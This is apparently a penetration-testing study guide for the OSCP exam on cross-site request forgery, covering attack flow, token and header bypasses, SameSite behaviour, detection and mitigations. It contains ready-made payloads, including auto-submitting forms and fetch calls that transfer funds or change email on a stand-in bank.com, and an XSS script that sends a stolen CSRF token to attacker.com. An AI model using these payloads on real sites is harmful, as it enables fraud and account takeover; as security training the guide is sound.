Domain 2Web App AttacksCORE

Cross-Site Request Forgery (CSRF)

Complete guide to CSRF attacks covering token bypass techniques, GET/POST-based exploitation, SameSite cookie analysis, and combining CSRF with other vulnerabilities for OSCP exam scenarios.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#CSRF#Session Hijacking#Anti-CSRF Tokens#Web Security#OSCP

Cross-Site Request Forgery (CSRF) — Deep-Dive Study Guide

1. What Is CSRF?

Cross-Site Request Forgery (CSRF), also known as XSRF (the older acronym still seen in legacy documentation and some tool output), is an attack that forces an authenticated user’s browser to execute unwanted state-changing actions on a trusted web application. The attacker does not steal the victim’s session — instead, the attack abuses the browser’s automatic credential attachment behavior.

Core Mechanism

The fundamental premise of CSRF is deceptively simple:

  1. The victim is authenticated to the target application (e.g., bank.com) — a valid session cookie exists in their browser.
  2. The attacker crafts a malicious page or link that triggers an HTTP request to bank.com.
  3. When the victim’s browser processes this request, it automatically attaches the session cookie for bank.com.
  4. The target server receives the request with valid credentials and cannot distinguish it from a legitimate user action.
  5. The state-changing operation executes under the victim’s identity.

The critical insight: the server sees a perfectly valid, authenticated request. There is no “forged” credential — the cookie is the victim’s real cookie, sent by the victim’s real browser. The “forgery” is in the intent of the request, not in its authentication.

CSRF vs XSS — Understanding the Difference

This distinction is frequently tested on the OSCP exam:

Aspect CSRF XSS
What is exploited? Browser’s automatic cookie attachment Browser’s trust in page-originating scripts
Code execution on victim? No — the victim’s browser just sends a request Yes — attacker’s JavaScript runs in the victim’s context
Victim must be logged in? Yes — the attack requires a valid session No — XSS works regardless of authentication state
Can attacker read the response? No — Same-Origin Policy blocks cross-origin reads Yes — attacker’s JS can read and exfiltrate the response
Primary target State-changing operations (POST, PUT, DELETE) Any data accessible in the browser context
Defense Anti-CSRF tokens, SameSite cookies Output encoding, Content Security Policy

CSRF vs SSRF — Don’t Confuse Them

CSRF SSRF
Who makes the request? Victim’s browser Target server
Direction External → Internal (via victim browser) Internal → Internal/External (via server)
Credential used Victim’s session cookie Server’s own network access

2. CSRF Attack Flow — Step by Step

sequenceDiagram
    participant A as Attacker
    participant V as Victim (Authenticated)
    participant S as Target Server

    Note over A: Step 1: Recon — identify<br/>state-changing endpoints
    A->>S: Attacker tests endpoints<br/>(as their own account)
    S-->>A: Returns request structure

    Note over A: Step 2: Craft malicious page
    A->>V: Step 3: Deliver payload<br/>(phishing, social engineering)
    V->>V: Browser loads malicious page
    V->>S: Step 4: Browser auto-sends<br/>request with valid cookies
    S->>S: Step 5: Processes as legitimate
    S--action performed
    S-->>V: Returns response<br/>(victim may not notice)
    Note over V,A: Victim unaware.<br/>Attacker achieves goal.

Detailed Exploitation Workflow

Phase 1: Reconnaissance

  1. Map all state-changing endpoints — Use Burp Suite to intercept and catalog every POST, PUT, PATCH, and DELETE request.
  2. Identify high-value targets — Priority order:
    • Password change
    • Email change (leads to account takeover via password reset)
    • Fund transfer / payment operations
    • User role / privilege changes
    • Account deletion
    • API key generation
  3. Capture the exact request structure — Note all parameters, their types, and required values.

Phase 2: Defense Assessment

  1. Check for anti-CSRF tokens — Look for hidden form fields named _token, csrf_token, csrfmiddlewaretoken, _csrf, etc.
  2. Check cookie attributes — Inspect SameSite, Secure, and HttpOnly flags.
  3. Check custom headers — See if the application requires X-Requested-With or similar.
  4. Test Referer/Origin validation — Remove or modify these headers in Burp to see if the request is rejected.

Phase 3: Payload Crafting

  1. Based on findings, craft the appropriate payload (see sections below).

Phase 4: Delivery

  1. Host the payload on your attacker machine (Python HTTP server, Apache, etc.).
  2. Deliver to the victim — phishing email, social media link, or exploit a stored XSS to auto-deliver.

3. CSRF Attack Types — Complete Payload Reference

3.1 GET-Based CSRF

The simplest form. Any resource that can be loaded via a GET request is potentially vulnerable.

When it works:

  • The target endpoint accepts GET requests for state-changing operations (a common misconfiguration).
  • No anti-CSRF token is required (or the token is passed as a URL parameter that the attacker can control).

Payload — Image Tag (silent execution):

<!-- Victim sees nothing. Request fires when page loads. -->
<img src="https://bank.com/api/transfer?to=attacker_account&amount=10000"
     width="0" height="0" style="display:none" />

Payload — Hyperlink (requires click):

<a href="https://bank.com/api/transfer?to=attacker_account&amount=10000">
    Click here for a great deal!
</a>

Payload — Meta Refresh (auto-redirect):

<html>
<head>
    <meta http-equiv="refresh" content="0;url=https://bank.com/api/transfer?to=attacker_account&amount=10000" />
</head>
<body>
    <p>Please wait while we redirect you...</p>
</body>
</html>

OSCP Tip: GET-based CSRF is the easiest to exploit but also the easiest to defend against. Modern frameworks typically reject state-changing operations on GET. Still, always test — many OSCP machines have this misconfiguration.

3.2 POST-Based CSRF

The most common and practical CSRF vector. Uses an auto-submitting HTML form.

When it works:

  • The target endpoint requires a POST request.
  • No anti-CSRF token is present, or the token can be bypassed.

Payload — Basic Auto-Submitting Form:

<html>
<body>
    <form action="https://bank.com/api/transfer" method="POST">
        <input type="hidden" name="to" value="attacker_account" />
        <input type="hidden" name="amount" value="10000" />
    </form>
    <script>
        document.forms[0].submit();
    </script>
</body>
</html>

Payload — With Content-Type Control:

<html>
<body>
    <form action="https://bank.com/api/change-email" method="POST"
          enctype="multipart/form-data">
        <input type="hidden" name="email" value="attacker@evil.com" />
        <input type="file" name="avatar" />
    </form>
    <script>document.forms[0].submit();</script>
</body>
</html>

Critical Detail: The enctype attribute matters. If the legitimate request uses multipart/form-data, your forged form must match. A mismatched Content-Type can cause the server to reject the request or parse parameters differently.

Payload — JSON POST (requires XHR, see below):

Standard HTML forms cannot send application/json payloads. For JSON APIs, you need the XHR-based approach.

3.3 XHR-Based CSRF (XMLHttpRequest / Fetch)

Used when the target API requires:

  • Content-Type: application/json
  • Custom headers
  • Reading the response (though Same-Origin Policy usually blocks this)

When it works:

  • The target has a CORS misconfiguration that allows the attacker’s origin.
  • OR the request is “simple” enough to not trigger a CORS preflight (limited applicability for CSRF).

Payload — Using Fetch API:

<html>
<body>
    <script>
        fetch('https://bank.com/api/change-email', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({ email: 'attacker@evil.com' }),
            credentials: 'include'  // Ensures cookies are sent
        });
    </script>
</body>
</html>

Payload — Using XMLHttpRequest:

<html>
<body>
    <script>
        var xhr = new XMLHttpRequest();
        xhr.open('POST', 'https://bank.com/api/transfer', true);
        xhr.withCredentials = true;  // Critical: sends cookies
        xhr.setRequestHeader('Content-Type', 'application/json');
        xhr.send(JSON.stringify({
            to: 'attacker_account',
            amount: 10000
        }));
    </script>
</body>
</html>

Important: The credentials: 'include' (fetch) or withCredentials = true (XHR) flag is essential. Without it, modern browsers will not send cookies for cross-origin requests.

CORS Constraint: If the target server returns Access-Control-Allow-Origin: * or the attacker’s origin, the browser allows the XHR. If it doesn’t, the request may still fire (the server still processes it) but the JavaScript cannot read the response. For CSRF, this is often acceptable — the attacker doesn’t need to read the response, just trigger the action.


4. Anti-CSRF Token Bypass Techniques

This is the most exam-relevant section. Understanding when and how to bypass CSRF tokens is critical for OSCP.

4.1 No Token Present

Condition: The application has no CSRF protection at all.

Method: Direct forged request works. Use the payload templates from Section 3.

Detection: Inspect the HTML source of state-changing forms. If there are no hidden fields with token-like names, and no custom headers are required, the application is unprotected.

4.2 Token Is Predictable

Condition: The token is generated using a weak PRNG, is sequential, or is derived from predictable data (timestamp, user ID, etc.).

Method:

  • Observe multiple tokens and identify the pattern.
  • Predict or brute-force the next token.
  • Include the predicted token in the forged request.
<!-- If token = MD5(user_id + timestamp), and you know both: -->
<form action="https://bank.com/api/transfer" method="POST">
    <input type="hidden" name="csrf_token" value="PREDICTED_TOKEN_VALUE" />
    <input type="hidden" name="to" value="attacker_account" />
    <input type="hidden" name="amount" value="10000" />
</form>

4.3 Token Is Not Bound to Session

Condition: The same token works across different user sessions (a global token).

Method:

  1. Log in with your own account.
  2. Capture the CSRF token from a legitimate request.
  3. Use this token in a forged request targeting the victim’s session.
  4. Because the token is global, it validates against the victim’s session too.
<form action="https://bank.com/api/transfer" method="POST">
    <input type="hidden" name="csrf_token" value="TOKEN_FROM_MY_SESSION" />
    <input type="hidden" name="to" value="attacker_account" />
    <input type="hidden" name="amount" value="10000" />
</form>

4.4 Token Passed in URL Parameter

Condition: The token is passed as a query parameter rather than a hidden form field or header.

Method: The token appears in the URL, which means:

  • It gets logged in server access logs.
  • It gets stored in browser history.
  • It can be captured from the victim’s own page source.

If you can get the victim’s token (e.g., via XSS, or the token is visible in a page the victim already loads), include it in the forged request URL.

4.5 Referer-Based Validation Bypass

Condition: The application validates the Referer header to ensure the request originated from its own domain.

Bypass Methods:

Method How It Works
Omit Referer Use <img src="..."> — some configurations don’t send Referer for image requests. Or use <meta http-equiv="refresh"> which may not include Referer.
Empty Referer Serve the payload over HTTPS while the target is HTTP. Browsers omit Referer when downgrading from HTTPS to HTTP.
Partial Match If the app checks Referer starts with "bank.com", host your payload at bank.com.evil.com — the Referer would be https://bank.com.evil.com/ which starts with bank.com.
Referrer-Policy Manipulation If the target page sets Referrer-Policy: no-referrer, the Referer won’t be sent at all.

4.6 Origin-Based Validation Bypass

Condition: The application checks the Origin header.

Bypass Methods:

Method How It Works
Subdomain Attack If the app checks Origin == "bank.com", host at evil.bank.com. The Origin header will be https://evil.bank.com. If the check is a substring match, this passes.
Missing Origin Simple GET requests and some form submissions may not include an Origin header. If the app only checks Origin when present (rather than rejecting when absent), the request slips through.

4.7 Custom Header Validation Bypass

Condition: The application requires a custom header like X-Requested-With: XMLHttpRequest.

Bypass Methods:

Method How It Works
Standard Form Won’t Work HTML forms cannot set custom headers.
Use XHR/Fetch JavaScript can set custom headers. If CORS allows it, include the header.
Header Not Enforced Some apps check the header but don’t reject if missing — they just log a warning. Test by sending without the header.

4.8 Token Reuse Across Endpoints

Condition: A single token is valid for all endpoints (not endpoint-specific).

Method: Capture the token from one endpoint’s page and reuse it on a different, more valuable endpoint.

Condition: The CSRF token is stored in a cookie (rather than a server-side session store or hidden field).

Method: This is actually a design flaw. If the token is in a cookie, the browser sends it automatically — just like the session cookie. The CSRF protection becomes meaningless because the attacker doesn’t need to know the token value; the browser attaches it.

Key Principle: A CSRF token stored in a cookie provides zero protection. The token must be stored server-side (in the session) or in the page body (hidden field) and validated against the server-side value.


The SameSite attribute is a browser-level CSRF mitigation introduced to control when cookies are sent with cross-site requests. Understanding its behavior is essential for both attacking and defending.

5.1 SameSite=Strict

Behavior: The cookie is never sent on cross-site requests. Period.

Request Type Cookie Sent?
Same-site navigation (bank.com → bank.com) Yes
Cross-site link click (evil.com → bank.com) No
Cross-site form submission No
Cross-site <img> / <script> load No
Cross-site XHR / fetch No

CSRF Impact: Effectively blocks all CSRF attacks. The victim’s session cookie is never attached to the cross-origin forged request.

User Experience Cost: High. If the user clicks a link from an external site (email, social media) to navigate to bank.com, they will be logged out because the session cookie isn’t sent. This is why Strict is rarely used for primary session cookies.

5.2 SameSite=Lax

Behavior: The cookie is sent on:

  • All same-site requests.
  • Top-level GET navigations from cross-site contexts (e.g., clicking a link).

The cookie is NOT sent on:

  • Cross-site POST requests.
  • Cross-site form submissions.
  • Cross-site XHR / fetch requests.
  • Cross-site resource loads (<img>, <script>, <iframe>).
Request Type Cookie Sent?
Same-site navigation Yes
Cross-site link click (top-level GET) Yes
Cross-site form POST No
Cross-site <img> load No
Cross-site XHR / fetch No

CSRF Impact:

  • Blocks POST-based CSRF — the most common attack vector.
  • Does NOT block GET-based CSRF — if the application accepts state-changing GET requests, Lax provides no protection.
  • Does NOT block XHR-based CSRF — if CORS is misconfigured.

OSCP Relevance: Many OSCP machines use Lax (or no SameSite at all). Always check. If you find GET-based state-changing operations, Lax is not a barrier.

5.3 SameSite=None

Behavior: The cookie is sent on all requests, same-site and cross-site.

Critical Requirement: SameSite=None must be accompanied by Secure. Modern browsers (Chrome 80+, Firefox 80+, Edge 80+) will treat a cookie with SameSite=None but without Secure as if it had SameSite=Lax.

# Valid — cookie sent cross-site
Set-Cookie: session=abc123; SameSite=None; Secure; HttpOnly

# Invalid — browser treats as SameSite=Lax
Set-Cookie: session=abc123; SameSite=None; HttpOnly

CSRF Impact: No CSRF protection from SameSite. The application must rely on anti-CSRF tokens or other mechanisms.

5.4 No SameSite Attribute (Legacy)

Behavior: Before SameSite was introduced, cookies were sent with all requests by default. Modern browsers now treat missing SameSite as SameSite=Lax (Chrome 80+), but older browsers and some configurations still default to “send always.”

CSRF Impact: Full CSRF exposure. All attack vectors work.

5.5 SameSite Testing Checklist

When testing a target:

  1. Inspect all cookies — Check the SameSite attribute on each.
  2. Test GET-based operations — Even with Lax, GET CSRF works.
  3. Test POST-based operations — Lax blocks these; look for other bypasses.
  4. Check for mixed SameSite values — Some cookies may be Strict, others Lax, others None. Target the unprotected ones.
  5. Verify browser behavior — Different browsers handle SameSite differently. Test in the target’s likely browser.

6. CSRF + XSS — Powerful Exploitation Chains

Combining CSRF with other vulnerabilities dramatically increases impact. The most powerful chain is CSRF + XSS.

6.1 XSS → CSRF Token Theft → Full CSRF

Scenario: The application has anti-CSRF tokens, making direct CSRF impossible. But there’s also a reflected or stored XSS vulnerability.

Attack Chain:

Step 1: Use XSS to steal the victim's CSRF token
Step 2: Send the token to your attacker server
Step 3: Craft a CSRF payload with the stolen token
Step 4: Deliver the CSRF payload (or execute it directly via the same XSS)

XSS Payload to Steal CSRF Token:

<script>
    // Extract CSRF token from a hidden form field
    var token = document.querySelector('input[name="csrf_token"]').value;

    // Exfiltrate to attacker server
    new Image().src = 'https://attacker.com/steal?token=' + token;

    // OR directly perform the CSRF action:
    var form = document.createElement('form');
    form.method = 'POST';
    form.action = '/api/transfer';

    var tokenField = document.createElement('input');
    tokenField.type = 'hidden';
    tokenField.name = 'csrf_token';
    tokenField.value = token;
    form.appendChild(tokenField);

    var toField = document.createElement('input');
    toField.type = 'hidden';
    toField.name = 'to';
    toField.value = 'attacker_account';
    form.appendChild(toField);

    var amountField = document.createElement('input');
    amountField.type = 'hidden';
    amountField.name = 'amount';
    amountField.value = '10000';
    form.appendChild(amountField);

    document.body.appendChild(form);
    form.submit();
</script>

Key Insight: When XSS is available, CSRF tokens become irrelevant. XSS gives you the ability to read the page (including tokens) and submit requests programmatically. The combination effectively gives the attacker full control over the victim’s session.

6.2 CSRF → Open Redirect → Phishing

Scenario: Use CSRF to change the victim’s email, then use the password reset flow to take over the account.

Attack Chain:

Step 1: CSRF to change victim's email to attacker-controlled address
Step 2: Trigger password reset (goes to attacker's email)
Step 3: Reset password and take over the account

6.3 CSRF + IDOR

Scenario: Use CSRF to perform IDOR operations that the victim wouldn’t normally execute.

Attack Chain:

Step 1: Victim is authenticated with access to resource ID 1001
Step 2: CSRF forces victim's browser to DELETE /api/users/1002/data
Step 3: Server processes as victim's request — if IDOR exists, the delete succeeds

7. Detection Methodology and Testing Checklist

7.1 Systematic Testing Approach

Step 1: Identify State-Changing Endpoints

POST /api/login
POST /api/register
POST /api/change-password
POST /api/change-email
POST /api/transfer
PUT  /api/profile
DELETE /api/account
POST /api/settings
POST /api/api-keys

Step 2: For Each Endpoint, Check

  • Does it require a CSRF token?
  • If yes, is the token unique per session?
  • If yes, is the token unpredictable (cryptographically random)?
  • If yes, is the token endpoint-specific?
  • Does it validate the Referer header?
  • Does it validate the Origin header?
  • Does it require custom headers?
  • What is the SameSite attribute on the session cookie?
  • Does it accept GET requests (in addition to POST)?
  • Is re-authentication required for sensitive operations?

Step 3: Test Each Bypass Vector

For each defense mechanism found, test the corresponding bypass:

Defense Found Test This Bypass
No token Direct forged request
Referer check Omit Referer, use HTTPS→HTTP, subdomain trick
Origin check Subdomain hosting, missing Origin
Custom header XHR with matching header, or test if enforcement is weak
SameSite=Lax GET-based CSRF
SameSite=None Full CSRF (no SameSite protection)
Token in cookie Token is useless — direct forged request works

7.2 Automated Tools

Tool Purpose Command Example
Burp Suite Intercept, modify, replay requests Use Repeater and Intruder
CSRF Request Generator (Burp BApp) Auto-generate CSRF PoC HTML Right-click request → CSRF Request Generator
XSRFProbe Automated CSRF detection java -jar XSRFProbe.jar -u https://target.com
Rebfuzzy Referer-based CSRF testing python rebfuzzy.py -u https://target.com
OWASP ZAP Passive and active CSRF scanning ZAP → Active Scan

7.3 Burp Suite CSRF Testing Workflow

  1. Intercept a state-changing request.
  2. Right-click → “Copy to Repeater.”
  3. In Repeater, remove the CSRF token (if present) and send. Does it still work?
  4. Remove the Referer header and send. Does it still work?
  5. Change the Origin header and send. Does it still work?
  6. If the request works without any of these, you have a CSRF vulnerability.
  7. Right-click → “Engagement tools” → “Generate CSRF PoC” to auto-generate the HTML payload.

8. Mitigation Strategies — Complete Reference

8.1 Synchronizer Token Pattern (Anti-CSRF Tokens)

The gold standard for CSRF protection.

How It Works:

  1. Server generates a cryptographically random token for each user session.
  2. Token is embedded in every state-changing form (as a hidden field) or returned in API responses.
  3. Server stores the token in the user’s session (server-side).
  4. On request, server validates that the submitted token matches the session-stored token.
  5. If they match, the request is legitimate. If not, reject.

Implementation Requirements:

  • Token must be unpredictable (use cryptographically secure PRNG).
  • Token must be bound to the user’s session (not global).
  • Token should be stored server-side (not in a cookie).
  • Consider one-time use tokens for high-value operations.
# Flask example
from flask import session, request
import secrets

# Generate token on session creation
if 'csrf_token' not in session:
    session['csrf_token'] = secrets.token_hex(32)

# Validate on each request
def validate_csrf():
    form_token = request.form.get('csrf_token')
    session_token = session.get('csrf_token')
    if not form_token or not session_token:
        return False
    return secrets.compare_digest(form_token, session_token)

How It Works:

  1. Server sets a cookie with a random token value.
  2. The application also requires the same token value as a request parameter (or custom header).
  3. Server validates that the cookie value matches the parameter value.

Why It Works Against CSRF:

  • The attacker’s page cannot read the victim’s cookie (Same-Origin Policy).
  • Therefore, the attacker cannot know the token value to include in the forged request.
  • The victim’s browser sends both the cookie (automatically) and the parameter (from the legitimate form).

Limitation: This pattern can be bypassed if the application has an XSS vulnerability (XSS can read cookies).

As discussed in Section 5, set SameSite=Strict or SameSite=Lax on session cookies.

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

Recommendation: Use Strict for highly sensitive operations, Lax for general session management. Never use None unless cross-site cookie sending is genuinely required.

8.4 Custom Header Requirement

Require a custom header like X-Requested-With: XMLHttpRequest on all state-changing requests.

Why It Works: Standard HTML forms cannot set custom headers. Only JavaScript (XHR/fetch) can.

Limitation: Can be bypassed with XHR if CORS is misconfigured. Not a standalone defense.

8.5 Re-Authentication for Sensitive Operations

Require the user to re-enter their password (or use MFA) for high-value operations like:

  • Password change
  • Email change
  • Fund transfer above a threshold
  • API key generation

Why It Works: The attacker cannot know the victim’s password. Even with a valid session, the re-authentication step blocks the attack.


9. OSCP Exam Relevance and Tips

9.1 How CSRF Appears on the OSCP

CSRF is not a standalone exam objective but appears as part of web application exploitation chains:

  1. Direct CSRF — Change password, change email, or escalate privileges via a forged request.
  2. CSRF + XSS — Use XSS to bypass CSRF tokens, then perform privileged actions.
  3. CSRF as a stepping stone — Change email → password reset → account takeover → lateral movement.
  4. Admin panel CSRF — If you can get an admin to visit your page, CSRF can grant you admin-level actions.

9.2 Common OSCP CSRF Scenarios

Machine Type Typical CSRF Vector Impact
Web apps with no CSRF tokens Direct POST-based CSRF Password change, privilege escalation
Apps with Referer-only validation Referer bypass (omit or spoof) Same as above
Apps with XSS + CSRF tokens XSS steals token → CSRF with valid token Full account control
Apps with GET-based state changes GET-based CSRF (image tag) Silent exploitation
Apps with SameSite=Lax GET-based CSRF still works Depends on endpoint

9.3 Exam Tips

  1. Always check for CSRF when you find a web application with state-changing operations. It’s a quick win if unprotected.
  2. Use Burp’s CSRF PoC generator — Right-click any request → Engagement tools → Generate CSRF PoC. This saves time during the exam.
  3. Change email is your friend — If you can CSRF a password change, great. If not, try changing the email address and use the password reset flow.
  4. Look for GET-based endpoints — They’re easier to exploit and often overlooked by developers.
  5. Check the cookie attributes — A quick Set-Cookie header inspection tells you if SameSite is protecting the session.
  6. CSRF + other vulns — If CSRF alone doesn’t give you a shell, chain it with XSS, IDOR, or open redirect for a complete exploitation path.
  7. Document everything — Even if CSRF doesn’t lead directly to a flag, document it in your report. It shows thorough testing.

9.4 Quick Reference — CSRF Exploitation Decision Tree

Is there a state-changing endpoint?
├── No → CSRF not applicable
└── Yes
    ├── Does it accept GET?
    │   ├── Yes → GET-based CSRF (image tag)
    │   └── No → Continue
    ├── Is there a CSRF token?
    │   ├── No → POST-based CSRF (auto-submit form)
    │   └── Yes → Continue
    ├── Is the token predictable?
    │   ├── Yes → Predict and include token
    │   └── No → Continue
    ├── Is the token session-independent?
    │   ├── Yes → Reuse token from your session
    │   └── No → Continue
    ├── Is the token in a cookie?
    │   ├── Yes → Token is useless, direct request works
    │   └── No → Continue
    ├── Is there XSS on the target?
    │   ├── Yes → Steal token via XSS, then CSRF
    │   └── No → Continue
    ├── Does it validate Referer?
    │   ├── Yes → Try Referer bypass techniques
    │   └── No → Continue
    ├── SameSite attribute?
    │   ├── Strict → CSRF blocked (try XSS instead)
    │   ├── Lax → GET-based CSRF still works
    │   ├── None → Full CSRF possible
    │   └── Missing → Full CSRF possible (depends on browser)
    └── All defenses present and correct → CSRF likely not exploitable

10. Summary

CSRF remains a relevant attack vector in penetration testing and the OSCP exam, particularly when combined with other vulnerabilities. The key to successful CSRF exploitation is:

  1. Thorough reconnaissance — Map all state-changing endpoints.
  2. Defense assessment — Understand what protections are in place.
  3. Appropriate bypass — Match the bypass technique to the specific defense.
  4. Creative chaining — Combine CSRF with XSS, IDOR, or open redirect for maximum impact.

The most common OSCP CSRF scenario is an unprotected POST endpoint that allows password or email changes. Always test for this — it’s often the quickest path to account takeover.